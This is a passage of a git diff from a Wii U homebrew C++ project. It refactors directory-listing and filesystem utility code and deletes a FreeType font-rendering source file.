if(StringTools::strtokcmp(fileext, Filter, ",") == 0)
|
||||
AddEntrie(folderpath, filename, isDir);
|
||||
} else {
|
||||
AddEntrie(folderpath, filename, isDir);
|
||||
}
|
||||
}
|
||||
closedir(dir);
|
||||
|
||||
return true;
|
||||
return true;
|
||||
}
|
||||
|
||||
void DirList::AddEntrie(const std::string &filepath, const char * filename, bool isDir)
|
||||
{
|
||||
if(!filename)
|
||||
return;
|
||||
void DirList::AddEntrie(const std::string &filepath, const char * filename, BOOL isDir) {
|
||||
if(!filename)
|
||||
return;
|
||||
|
||||
int pos = FileInfo.size();
|
||||
int32_t pos = FileInfo.size();
|
||||
|
||||
FileInfo.resize(pos+1);
|
||||
FileInfo.resize(pos+1);
|
||||
|
||||
FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2);
|
||||
if(!FileInfo[pos].FilePath)
|
||||
{
|
||||
FileInfo.resize(pos);
|
||||
return;
|
||||
}
|
||||
FileInfo[pos].FilePath = (char *) malloc(filepath.size()+strlen(filename)+2);
|
||||
if(!FileInfo[pos].FilePath) {
|
||||
FileInfo.resize(pos);
|
||||
return;
|
||||
}
|
||||
|
||||
sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename);
|
||||
FileInfo[pos].isDir = isDir;
|
||||
sprintf(FileInfo[pos].FilePath, "%s/%s", filepath.c_str(), filename);
|
||||
FileInfo[pos].isDir = isDir;
|
||||
}
|
||||
|
||||
void DirList::ClearList()
|
||||
{
|
||||
for(u32 i = 0; i < FileInfo.size(); ++i)
|
||||
{
|
||||
if(FileInfo[i].FilePath)
|
||||
free(FileInfo[i].FilePath);
|
||||
}
|
||||
void DirList::ClearList() {
|
||||
for(uint32_t i = 0; i < FileInfo.size(); ++i) {
|
||||
if(FileInfo[i].FilePath) {
|
||||
free(FileInfo[i].FilePath);
|
||||
FileInfo[i].FilePath = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
FileInfo.clear();
|
||||
std::vector<DirEntry>().swap(FileInfo);
|
||||
FileInfo.clear();
|
||||
std::vector<DirEntry>().swap(FileInfo);
|
||||
}
|
||||
|
||||
const char * DirList::GetFilename(int ind) const
|
||||
{
|
||||
if (!valid(ind))
|
||||
return "";
|
||||
const char * DirList::GetFilename(int32_t ind) const {
|
||||
if (!valid(ind))
|
||||
return "";
|
||||
|
||||
return FullpathToFilename(FileInfo[ind].FilePath);
|
||||
return StringTools::FullpathToFilename(FileInfo[ind].FilePath);
|
||||
}
|
||||
|
||||
static bool SortCallback(const DirEntry & f1, const DirEntry & f2)
|
||||
{
|
||||
if(f1.isDir && !(f2.isDir)) return true;
|
||||
if(!(f1.isDir) && f2.isDir) return false;
|
||||
static BOOL SortCallback(const DirEntry & f1, const DirEntry & f2) {
|
||||
if(f1.isDir && !(f2.isDir))
|
||||
return true;
|
||||
if(!(f1.isDir) && f2.isDir)
|
||||
return false;
|
||||
|
||||
if(f1.FilePath && !f2.FilePath) return true;
|
||||
if(!f1.FilePath) return false;
|
||||
if(f1.FilePath && !f2.FilePath)
|
||||
return true;
|
||||
if(!f1.FilePath)
|
||||
return false;
|
||||
|
||||
if(strcasecmp(f1.FilePath, f2.FilePath) > 0)
|
||||
return false;
|
||||
if(strcasecmp(f1.FilePath, f2.FilePath) > 0)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
return true;
|
||||
}
|
||||
|
||||
void DirList::SortList()
|
||||
{
|
||||
if(FileInfo.size() > 1)
|
||||
std::sort(FileInfo.begin(), FileInfo.end(), SortCallback);
|
||||
void DirList::SortList() {
|
||||
if(FileInfo.size() > 1)
|
||||
std::sort(FileInfo.begin(), FileInfo.end(), SortCallback);
|
||||
}
|
||||
|
||||
void DirList::SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b))
|
||||
{
|
||||
if(FileInfo.size() > 1)
|
||||
std::sort(FileInfo.begin(), FileInfo.end(), SortFunc);
|
||||
void DirList::SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b)) {
|
||||
if(FileInfo.size() > 1)
|
||||
std::sort(FileInfo.begin(), FileInfo.end(), SortFunc);
|
||||
}
|
||||
|
||||
u64 DirList::GetFilesize(int index) const
|
||||
{
|
||||
struct stat st;
|
||||
const char *path = GetFilepath(index);
|
||||
uint64_t DirList::GetFilesize(int32_t index) const {
|
||||
struct stat st;
|
||||
const char *path = GetFilepath(index);
|
||||
|
||||
if(!path || stat(path, &st) != 0)
|
||||
return 0;
|
||||
if(!path || stat(path, &st) != 0)
|
||||
return 0;
|
||||
|
||||
return st.st_size;
|
||||
return st.st_size;
|
||||
}
|
||||
|
||||
int DirList::GetFileIndex(const char *filename) const
|
||||
{
|
||||
if(!filename)
|
||||
return -1;
|
||||
int32_t DirList::GetFileIndex(const char *filename) const {
|
||||
if(!filename)
|
||||
return -1;
|
||||
|
||||
for (u32 i = 0; i < FileInfo.size(); ++i)
|
||||
{
|
||||
if (strcasecmp(GetFilename(i), filename) == 0)
|
||||
return i;
|
||||
}
|
||||
for (uint32_t i = 0; i < FileInfo.size(); ++i) {
|
||||
if (strcasecmp(GetFilename(i), filename) == 0)
|
||||
return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
return -1;
|
||||
}
|
||||
|
122
src/fs/DirList.h
122
src/fs/DirList.h
@ -29,68 +29,78 @@
|
||||
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include "common/types.h"
|
||||
#include <wut_types.h>
|
||||
|
||||
typedef struct
|
||||
{
|
||||
char * FilePath;
|
||||
bool isDir;
|
||||
typedef struct {
|
||||
char * FilePath;
|
||||
BOOL isDir;
|
||||
} DirEntry;
|
||||
|
||||
class DirList
|
||||
{
|
||||
class DirList {
|
||||
public:
|
||||
//!Constructor
|
||||
DirList(void);
|
||||
//!\param path Path from where to load the filelist of all files
|
||||
//!\param filter A fileext that needs to be filtered
|
||||
//!\param flags search/filter flags from the enum
|
||||
DirList(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs, u32 maxDepth = 0xffffffff);
|
||||
//!Destructor
|
||||
virtual ~DirList();
|
||||
//! Load all the files from a directory
|
||||
bool LoadPath(const std::string & path, const char *filter = NULL, u32 flags = Files | Dirs, u32 maxDepth = 0xffffffff);
|
||||
//! Get a filename of the list
|
||||
//!\param list index
|
||||
const char * GetFilename(int index) const;
|
||||
//! Get the a filepath of the list
|
||||
//!\param list index
|
||||
const char *GetFilepath(int index) const { if (!valid(index)) return ""; else return FileInfo[index].FilePath; }
|
||||
//! Get the a filesize of the list
|
||||
//!\param list index
|
||||
u64 GetFilesize(int index) const;
|
||||
//! Is index a dir or a file
|
||||
//!\param list index
|
||||
bool IsDir(int index) const { if(!valid(index)) return false; return FileInfo[index].isDir; };
|
||||
//! Get the filecount of the whole list
|
||||
int GetFilecount() const { return FileInfo.size(); };
|
||||
//! Sort list by filepath
|
||||
void SortList();
|
||||
//! Custom sort command for custom sort functions definitions
|
||||
void SortList(bool (*SortFunc)(const DirEntry &a, const DirEntry &b));
|
||||
//! Get the index of the specified filename
|
||||
int GetFileIndex(const char *filename) const;
|
||||
//! Enum for search/filter flags
|
||||
enum
|
||||
{
|
||||
Files = 0x01,
|
||||
Dirs = 0x02,
|
||||
CheckSubfolders = 0x08,
|
||||
};
|
||||
//!Constructor
|
||||
DirList(void);
|
||||
//!\param path Path from where to load the filelist of all files
|
||||
//!\param filter A fileext that needs to be filtered
|
||||
//!\param flags search/filter flags from the enum
|
||||
DirList(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff);
|
||||
//!Destructor
|
||||
virtual ~DirList();
|
||||
//! Load all the files from a directory
|
||||
BOOL LoadPath(const std::string & path, const char *filter = NULL, uint32_t flags = Files | Dirs, uint32_t maxDepth = 0xffffffff);
|
||||
//! Get a filename of the list
|
||||
//!\param list index
|
||||
const char * GetFilename(int32_t index) const;
|
||||
//! Get the a filepath of the list
|
||||
//!\param list index
|
||||
const char *GetFilepath(int32_t index) const {
|
||||
if (!valid(index))
|
||||
return "";
|
||||
else
|
||||
return FileInfo[index].FilePath;
|
||||
}
|
||||
//! Get the a filesize of the list
|
||||
//!\param list index
|
||||
uint64_t GetFilesize(int32_t index) const;
|
||||
//! Is index a dir or a file
|
||||
//!\param list index
|
||||
BOOL IsDir(int32_t index) const {
|
||||
if(!valid(index))
|
||||
return false;
|
||||
return FileInfo[index].isDir;
|
||||
};
|
||||
//! Get the filecount of the whole list
|
||||
int32_t GetFilecount() const {
|
||||
return FileInfo.size();
|
||||
};
|
||||
//! Sort list by filepath
|
||||
void SortList();
|
||||
//! Custom sort command for custom sort functions definitions
|
||||
void SortList(BOOL (*SortFunc)(const DirEntry &a, const DirEntry &b));
|
||||
//! Get the index of the specified filename
|
||||
int32_t GetFileIndex(const char *filename) const;
|
||||
//! Enum for search/filter flags
|
||||
enum {
|
||||
Files = 0x01,
|
||||
Dirs = 0x02,
|
||||
CheckSubfolders = 0x08,
|
||||
};
|
||||
protected:
|
||||
// Internal parser
|
||||
bool InternalLoadPath(std::string &path);
|
||||
//!Add a list entrie
|
||||
void AddEntrie(const std::string &filepath, const char * filename, bool isDir);
|
||||
//! Clear the list
|
||||
void ClearList();
|
||||
//! Check if valid pos is requested
|
||||
inline bool valid(u32 pos) const { return (pos < FileInfo.size()); };
|
||||
// Internal parser
|
||||
BOOL InternalLoadPath(std::string &path);
|
||||
//!Add a list entrie
|
||||
void AddEntrie(const std::string &filepath, const char * filename, BOOL isDir);
|
||||
//! Clear the list
|
||||
void ClearList();
|
||||
//! Check if valid pos is requested
|
||||
inline BOOL valid(uint32_t pos) const {
|
||||
return (pos < FileInfo.size());
|
||||
};
|
||||
|
||||
u32 Flags;
|
||||
u32 Depth;
|
||||
const char *Filter;
|
||||
std::vector<DirEntry> FileInfo;
|
||||
uint32_t Flags;
|
||||
uint32_t Depth;
|
||||
const char *Filter;
|
||||
std::vector<DirEntry> FileInfo;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
142
src/fs/FSUtils.cpp
Normal file
142
src/fs/FSUtils.cpp
Normal file
@ -0,0 +1,142 @@
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include "fs/FSUtils.h"
|
||||
#include "fs/CFile.hpp"
|
||||
#include "utils/logger.h"
|
||||
|
||||
int32_t FSUtils::LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size) {
|
||||
//! always initialze input
|
||||
*inbuffer = NULL;
|
||||
if(size)
|
||||
*size = 0;
|
||||
|
||||
int32_t iFd = open(filepath, O_RDONLY);
|
||||
if (iFd < 0)
|
||||
return -1;
|
||||
|
||||
uint32_t filesize = lseek(iFd, 0, SEEK_END);
|
||||
lseek(iFd, 0, SEEK_SET);
|
||||
|
||||
uint8_t *buffer = (uint8_t *) malloc(filesize);
|
||||
if (buffer == NULL) {
|
||||
close(iFd);
|
||||
return -2;
|
||||
}
|
||||
|
||||
uint32_t blocksize = 0x4000;
|
||||
uint32_t done = 0;
|
||||
int32_t readBytes = 0;
|
||||
|
||||
while(done < filesize) {
|
||||
if(done + blocksize > filesize) {
|
||||
blocksize = filesize - done;
|
||||
}
|
||||
readBytes = read(iFd, buffer + done, blocksize);
|
||||
if(readBytes <= 0)
|
||||
break;
|
||||
done += readBytes;
|
||||
}
|
||||
|
||||
close(iFd);
|
||||
|
||||
if (done != filesize) {
|
||||
free(buffer);
|
||||
buffer = NULL;
|
||||
return -3;
|
||||
}
|
||||
|
||||
*inbuffer = buffer;
|
||||
|
||||
//! sign is optional input
|
||||
if(size) {
|
||||
*size = filesize;
|
||||
}
|
||||
|
||||
return filesize;
|
||||
}
|
||||
|
||||
int32_t FSUtils::CheckFile(const char * filepath) {
|
||||
if(!filepath)
|
||||
return 0;
|
||||
|
||||
struct stat filestat;
|
||||
|
||||
char dirnoslash[strlen(filepath)+2];
|
||||
snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath);
|
||||
|
||||
while(dirnoslash[strlen(dirnoslash)-1] == '/')
|
||||
dirnoslash[strlen(dirnoslash)-1] = '\0';
|
||||
|
||||
char * notRoot = strrchr(dirnoslash, '/');
|
||||
if(!notRoot) {
|
||||
strcat(dirnoslash, "/");
|
||||
}
|
||||
|
||||
if (stat(dirnoslash, &filestat) == 0)
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int32_t FSUtils::CreateSubfolder(const char * fullpath) {
|
||||
if(!fullpath)
|
||||
return 0;
|
||||
|
||||
int32_t result = 0;
|
||||
|
||||
char dirnoslash[strlen(fullpath)+1];
|
||||
strcpy(dirnoslash, fullpath);
|
||||
|
||||
int32_t pos = strlen(dirnoslash)-1;
|
||||
while(dirnoslash[pos] == '/') {
|
||||
dirnoslash[pos] = '\0';
|
||||
pos--;
|
||||
}
|
||||
|
||||
if(CheckFile(dirnoslash)) {
|
||||
return 1;
|
||||
} else {
|
||||
char parentpath[strlen(dirnoslash)+2];
|
||||
strcpy(parentpath, dirnoslash);
|
||||
char * ptr = strrchr(parentpath, '/');
|
||||
|
||||
if(!ptr) {
|
||||
//!Device root directory (must be with '/')
|
||||
strcat(parentpath, "/");
|
||||
struct stat filestat;
|
||||
if (stat(parentpath, &filestat) == 0)
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ptr++;
|
||||
ptr[0] = '\0';
|
||||
|
||||
result = CreateSubfolder(parentpath);
|
||||
}
|
||||
|
||||
if(!result)
|
||||
return 0;
|
||||
|
||||
if (mkdir(dirnoslash, 0777) == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
int32_t FSUtils::saveBufferToFile(const char * path, void * buffer, uint32_t size) {
|
||||
CFile file(path, CFile::WriteOnly);
|
||||
if (!file.isOpen()) {
|
||||
DEBUG_FUNCTION_LINE("Failed to open %s\n",path);
|
||||
return 0;
|
||||
}
|
||||
int32_t written = file.write((const uint8_t*) buffer, size);
|
||||
file.close();
|
||||
return written;
|
||||
}
|
||||
|
16
src/fs/FSUtils.h
Normal file
16
src/fs/FSUtils.h
Normal file
@ -0,0 +1,16 @@
|
||||
#ifndef __FS_UTILS_H_
|
||||
#define __FS_UTILS_H_
|
||||
|
||||
#include <wut_types.h>
|
||||
|
||||
class FSUtils {
|
||||
public:
|
||||
static int32_t LoadFileToMem(const char *filepath, uint8_t **inbuffer, uint32_t *size);
|
||||
|
||||
//! todo: C++ class
|
||||
static int32_t CreateSubfolder(const char * fullpath);
|
||||
static int32_t CheckFile(const char * filepath);
|
||||
static int32_t saveBufferToFile(const char * path, void * buffer, uint32_t size);
|
||||
};
|
||||
|
||||
#endif // __FS_UTILS_H_
|
@ -1,182 +0,0 @@
|
||||
#include <malloc.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <coreinit/filesystem.h>
|
||||
|
||||
#define FS_MAX_MOUNTPATH_SIZE 128
|
||||
|
||||
int MountFS(void *pClient, void *pCmd, char **mount_path)
|
||||
{
|
||||
int result = -1;
|
||||
|
||||
void *mountSrc = malloc(sizeof(FSMountSource));
|
||||
if(!mountSrc)
|
||||
return -3;
|
||||
|
||||
char* mountPath = (char*) malloc(FS_MAX_MOUNTPATH_SIZE);
|
||||
if(!mountPath) {
|
||||
free(mountSrc);
|
||||
return -4;
|
||||
}
|
||||
|
||||
memset(mountSrc, 0, sizeof(FSMountSource));
|
||||
memset(mountPath, 0, FS_MAX_MOUNTPATH_SIZE);
|
||||
|
||||
// Mount sdcard
|
||||
if (FSGetMountSource(pClient, pCmd, FS_MOUNT_SOURCE_SD, mountSrc, -1) == 0)
|
||||
{
|
||||
result = FSMount(pClient, pCmd, mountSrc, mountPath, FS_MAX_MOUNTPATH_SIZE, -1);
|
||||
if((result == 0) && mount_path) {
|
||||
*mount_path = (char*)malloc(strlen(mountPath) + 1);
|
||||
if(*mount_path)
|
||||
strcpy(*mount_path, mountPath);
|
||||
}
|
||||
}
|
||||
|
||||
free(mountPath);
|
||||
free(mountSrc);
|
||||
return result;
|
||||
}
|
||||
|
||||
int UmountFS(void *pClient, void *pCmd, const char *mountPath)
|
||||
{
|
||||
int result = -1;
|
||||
result = FSUnmount(pClient, pCmd, mountPath, -1);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size)
|
||||
{
|
||||
//! always initialze input
|
||||
*inbuffer = NULL;
|
||||
if(size)
|
||||
*size = 0;
|
||||
|
||||
int iFd = open(filepath, O_RDONLY);
|
||||
if (iFd < 0)
|
||||
return -1;
|
||||
|
||||
u32 filesize = lseek(iFd, 0, SEEK_END);
|
||||
lseek(iFd, 0, SEEK_SET);
|
||||
|
||||
u8 *buffer = (u8 *) malloc(filesize);
|
||||
if (buffer == NULL)
|
||||
{
|
||||
close(iFd);
|
||||
return -2;
|
||||
}
|
||||
|
||||
u32 blocksize = 0x4000;
|
||||
u32 done = 0;
|
||||
int readBytes = 0;
|
||||
|
||||
while(done < filesize)
|
||||
{
|
||||
if(done + blocksize > filesize) {
|
||||
blocksize = filesize - done;
|
||||
}
|
||||
readBytes = read(iFd, buffer + done, blocksize);
|
||||
if(readBytes <= 0)
|
||||
break;
|
||||
done += readBytes;
|
||||
}
|
||||
|
||||
close(iFd);
|
||||
|
||||
if (done != filesize)
|
||||
{
|
||||
free(buffer);
|
||||
return -3;
|
||||
}
|
||||
|
||||
*inbuffer = buffer;
|
||||
|
||||
//! sign is optional input
|
||||
if(size)
|
||||
*size = filesize;
|
||||
|
||||
return filesize;
|
||||
}
|
||||
|
||||
int CheckFile(const char * filepath)
|
||||
{
|
||||
if(!filepath)
|
||||
return 0;
|
||||
|
||||
struct stat filestat;
|
||||
|
||||
char dirnoslash[strlen(filepath)+2];
|
||||
snprintf(dirnoslash, sizeof(dirnoslash), "%s", filepath);
|
||||
|
||||
while(dirnoslash[strlen(dirnoslash)-1] == '/')
|
||||
dirnoslash[strlen(dirnoslash)-1] = '\0';
|
||||
|
||||
char * notRoot = strrchr(dirnoslash, '/');
|
||||
if(!notRoot)
|
||||
{
|
||||
strcat(dirnoslash, "/");
|
||||
}
|
||||
|
||||
if (stat(dirnoslash, &filestat) == 0)
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int CreateSubfolder(const char * fullpath)
|
||||
{
|
||||
if(!fullpath)
|
||||
return 0;
|
||||
|
||||
int result = 0;
|
||||
|
||||
char dirnoslash[strlen(fullpath)+1];
|
||||
strcpy(dirnoslash, fullpath);
|
||||
|
||||
int pos = strlen(dirnoslash)-1;
|
||||
while(dirnoslash[pos] == '/')
|
||||
{
|
||||
dirnoslash[pos] = '\0';
|
||||
pos--;
|
||||
}
|
||||
|
||||
if(CheckFile(dirnoslash))
|
||||
{
|
||||
return 1;
|
||||
}
|
||||
else
|
||||
{
|
||||
char parentpath[strlen(dirnoslash)+2];
|
||||
strcpy(parentpath, dirnoslash);
|
||||
char * ptr = strrchr(parentpath, '/');
|
||||
|
||||
if(!ptr)
|
||||
{
|
||||
//!Device root directory (must be with '/')
|
||||
strcat(parentpath, "/");
|
||||
struct stat filestat;
|
||||
if (stat(parentpath, &filestat) == 0)
|
||||
return 1;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
ptr++;
|
||||
ptr[0] = '\0';
|
||||
|
||||
result = CreateSubfolder(parentpath);
|
||||
}
|
||||
|
||||
if(!result)
|
||||
return 0;
|
||||
|
||||
if (mkdir(dirnoslash, 0777) == -1)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
return 1;
|
||||
}
|
@ -1,23 +0,0 @@
|
||||
#ifndef __FS_UTILS_H_
|
||||
#define __FS_UTILS_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#include "common/types.h"
|
||||
|
||||
int MountFS(void *pClient, void *pCmd, char **mount_path);
|
||||
int UmountFS(void *pClient, void *pCmd, const char *mountPath);
|
||||
|
||||
int LoadFileToMem(const char *filepath, u8 **inbuffer, u32 *size);
|
||||
|
||||
//! todo: C++ class
|
||||
int CreateSubfolder(const char * fullpath);
|
||||
int CheckFile(const char * filepath);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __FS_UTILS_H_
|
@ -1,608 +0,0 @@
|
||||
/*
|
||||
* FreeTypeGX is a wrapper class for libFreeType which renders a compiled
|
||||
* FreeType parsable font into a GX texture for Wii homebrew development.
|
||||
* Copyright (C) 2008 Armin Tamzarian
|
||||
* Modified by Dimok, 2015 for WiiU GX2
|
||||
*
|
||||
* This file is part of FreeTypeGX.
|
||||
*
|
||||
* FreeTypeGX is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU Lesser General Public License as published
|
||||
* by the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* FreeTypeGX is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU Lesser General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU Lesser General Public License
|
||||
* along with FreeTypeGX. If not, see <http://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
#include "video/CVideo.h"
|
||||
#include "video/shaders/Texture2DShader.h"
|
||||
#include "FreeTypeGX.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
#define ALIGN4(x) (((x) + 3) & ~3)
|
||||
|
||||
/**
|
||||
* Default constructor for the FreeTypeGX class for WiiXplorer.
|
||||
*/
|
||||
FreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace)
|
||||
{
|
||||
int faceIndex = 0;
|
||||
ftPointSize = 0;
|
||||
GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_MODE_CLAMP_BORDER, GX2_TEX_XY_FILTER_MODE_LINEAR);
|
||||
|
||||
FT_Init_FreeType(&ftLibrary);
|
||||
if(lastFace)
|
||||
{
|
||||
FT_New_Memory_Face(ftLibrary, (FT_Byte *)fontBuffer, bufferSize, -1, &ftFace);
|
||||
faceIndex = ftFace->num_faces - 1; // Use the last face
|
||||
FT_Done_Face(ftFace);
|
||||
ftFace = NULL;
|
||||
}
|
||||
FT_New_Memory_Face(ftLibrary, (FT_Byte *) fontBuffer, bufferSize, faceIndex, &ftFace);
|
||||
|
||||
ftKerningEnabled = FT_HAS_KERNING(ftFace);
|
||||
}
|
||||
|
||||
/**
|
||||
* Default destructor for the FreeTypeGX class.
|
||||
*/
|
||||
FreeTypeGX::~FreeTypeGX()
|
||||
{
|
||||
unloadFont();
|
||||
FT_Done_Face(ftFace);
|
||||
FT_Done_FreeType(ftLibrary);
|
||||
}
|
||||
|
||||
/**
|
||||
* Convert a short char string to a wide char string.
|
||||
*
|
||||
* This routine converts a supplied short character string into a wide character string.
|
||||
* Note that it is the user's responsibility to clear the returned buffer once it is no longer needed.
|
||||
*
|
||||
* @param strChar Character string to be converted.
|
||||
* @return Wide character representation of supplied character string.
|
||||
*/
|
||||
|
||||
wchar_t* FreeTypeGX::charToWideChar(const char* strChar)
|
||||
{
|
||||
if (!strChar) return NULL;
|
||||
|
||||
wchar_t *strWChar = new (std::nothrow) wchar_t[strlen(strChar) + 1];
|
||||
if (!strWChar) return NULL;
|
||||
|
||||
int bt = mbstowcs(strWChar, strChar, strlen(strChar));
|
||||
if (bt > 0)
|
||||
{
|
||||
strWChar[bt] = 0;
|
||||
return strWChar;
|
||||
}
|
||||
|
||||
wchar_t *tempDest = strWChar;
|
||||
while ((*tempDest++ = *strChar++))
|
||||
;
|
||||
|
||||
return strWChar;
|
||||
}
|
||||
|
||||
char *FreeTypeGX::wideCharToUTF8(const wchar_t* strChar)
|
||||
{
|
||||
if(!strChar) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
size_t len = 0;
|
||||
wchar_t wc;
|
||||
|
||||
for (size_t i = 0; strChar[i]; ++i)
|
||||
{
|
||||
wc = strChar[i];
|
||||
if (wc < 0x80)
|
||||
++len;
|
||||
else if (wc < 0x800)
|
||||
len += 2;
|
||||
else if (wc < 0x10000)
|
||||
len += 3;
|
||||
else
|
||||
len += 4;
|
||||
}
|
||||
|
||||
char *pOut = new (std::nothrow) char[len];
|
||||
if(!pOut)
|
||||
return NULL;
|
||||
|
||||
size_t n = 0;
|
||||
|
||||
for (size_t i = 0; strChar[i]; ++i)
|
||||
{
|
||||
wc = strChar[i];
|
||||
if (wc < 0x80)
|
||||
pOut[n++] = (char)wc;
|
||||
else if (wc < 0x800)
|
||||
{
|
||||
pOut[n++] = (char)((wc >> 6) | 0xC0);
|
||||
pOut[n++] = (char)((wc & 0x3F) | 0x80);
|
||||
}
|
||||
else if (wc < 0x10000)
|
||||
{
|
||||
pOut[n++] = (char)((wc >> 12) | 0xE0);
|
||||
pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80);
|
||||
pOut[n++] = (char)((wc & 0x3F) | 0x80);
|
||||
}
|
||||
else
|
||||
{
|
||||
pOut[n++] = (char)(((wc >> 18) & 0x07) | 0xF0);
|
||||
pOut[n++] = (char)(((wc >> 12) & 0x3F) | 0x80);
|
||||
pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80);
|
||||
pOut[n++] = (char)((wc & 0x3F) | 0x80);
|
||||
}
|
||||
}
|
||||
return pOut;
|
||||
}
|
||||
|
||||
/**
|
||||
* Clears all loaded font glyph data.
|
||||
*
|
||||
* This routine clears all members of the font map structure and frees all allocated memory back to the system.
|
||||
*/
|
||||
void FreeTypeGX::unloadFont()
|
||||
{
|
||||
map<int16_t, ftGX2Data >::iterator itr;
|
||||
map<wchar_t, ftgxCharData>::iterator itr2;
|
||||
|
||||
for (itr = fontData.begin(); itr != fontData.end(); itr++)
|
||||
{
|
||||
for (itr2 = itr->second.ftgxCharMap.begin(); itr2 != itr->second.ftgxCharMap.end(); itr2++)
|
||||
{
|
||||
if(itr2->second.texture)
|
||||
{
|
||||
if(itr2->second.texture->surface.image)
|
||||
free(itr2->second.texture->surface.image);
|
||||
|
||||
delete itr2->second.texture;
|
||||
itr2->second.texture = NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fontData.clear();
|
||||
}
|
||||
|
||||
/**
|
||||
* Caches the given font glyph in the instance font texture buffer.
|
||||
*
|
||||
* This routine renders and stores the requested glyph's bitmap and relevant information into its own quickly addressible
|
||||
* structure within an instance-specific map.
|
||||
*
|
||||
* @param charCode The requested glyph's character code.
|
||||
* @return A pointer to the allocated font structure.
|
||||
*/
|
||||
ftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize)
|
||||
{
|
||||
map<int16_t, ftGX2Data>::iterator itr = fontData.find(pixelSize);
|
||||
if (itr != fontData.end())
|
||||
{
|
||||
map<wchar_t, ftgxCharData>::iterator itr2 = itr->second.ftgxCharMap.find(charCode);
|
||||
if (itr2 != itr->second.ftgxCharMap.end())
|
||||
{
|
||||
return &itr2->second;
|
||||
}
|
||||
}
|
||||
//!Cache ascender and decender as well
|
||||
ftGX2Data *ftData = &fontData[pixelSize];
|
||||
|
||||
FT_UInt gIndex;
|
||||
uint16_t textureWidth = 0, textureHeight = 0;
|
||||
if (ftPointSize != pixelSize)
|
||||
{
|
||||
ftPointSize = pixelSize;
|
||||
FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize);
|
||||
ftData->ftgxAlign.ascender = (int16_t) ftFace->size->metrics.ascender >> 6;
|
||||
ftData->ftgxAlign.descender = (int16_t) ftFace->size->metrics.descender >> 6;
|
||||
ftData->ftgxAlign.max = 0;
|
||||
ftData->ftgxAlign.min = 0;
|
||||
}
|
||||
|
||||
gIndex = FT_Get_Char_Index(ftFace, (FT_ULong) charCode);
|
||||
if (gIndex != 0 && FT_Load_Glyph(ftFace, gIndex, FT_LOAD_DEFAULT | FT_LOAD_RENDER) == 0)
|
||||
{
|
||||
if (ftFace->glyph->format == FT_GLYPH_FORMAT_BITMAP)
|
||||
{
|
||||
FT_Bitmap *glyphBitmap = &ftFace->glyph->bitmap;
|
||||
|
||||
textureWidth = ALIGN4(glyphBitmap->width);
|
||||
textureHeight = ALIGN4(glyphBitmap->rows);
|
||||
if(textureWidth == 0)
|
||||
textureWidth = 4;
|
||||
if(textureHeight == 0)
|
||||
textureHeight = 4;
|
||||
|
||||
ftgxCharData *charData = &ftData->ftgxCharMap[charCode];
|
||||
charData->renderOffsetX = (int16_t) ftFace->glyph->bitmap_left;
|
||||
charData->glyphAdvanceX = (uint16_t) (ftFace->glyph->advance.x >> 6);
|
||||
charData->glyphAdvanceY = (uint16_t) (ftFace->glyph->advance.y >> 6);
|
||||
charData->glyphIndex = (uint32_t) gIndex;
|
||||
charData->renderOffsetY = (int16_t) ftFace->glyph->bitmap_top;
|
||||
charData->renderOffsetMax = (int16_t) ftFace->glyph->bitmap_top;
|
||||
charData->renderOffsetMin = (int16_t) glyphBitmap->rows - ftFace->glyph->bitmap_top;
|
||||
|
||||
//! Initialize texture
|
||||
charData->texture = new GX2Texture;
|
||||
GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_UNORM_R5_G5_B5_A1, GX2_SURFACE_DIM_TEXTURE_2D, GX2_TILE_MODE_LINEAR_ALIGNED);
|
||||
|
||||
loadGlyphData(glyphBitmap, charData);
|
||||
|
||||
return charData;
|
||||
}
|
||||
}
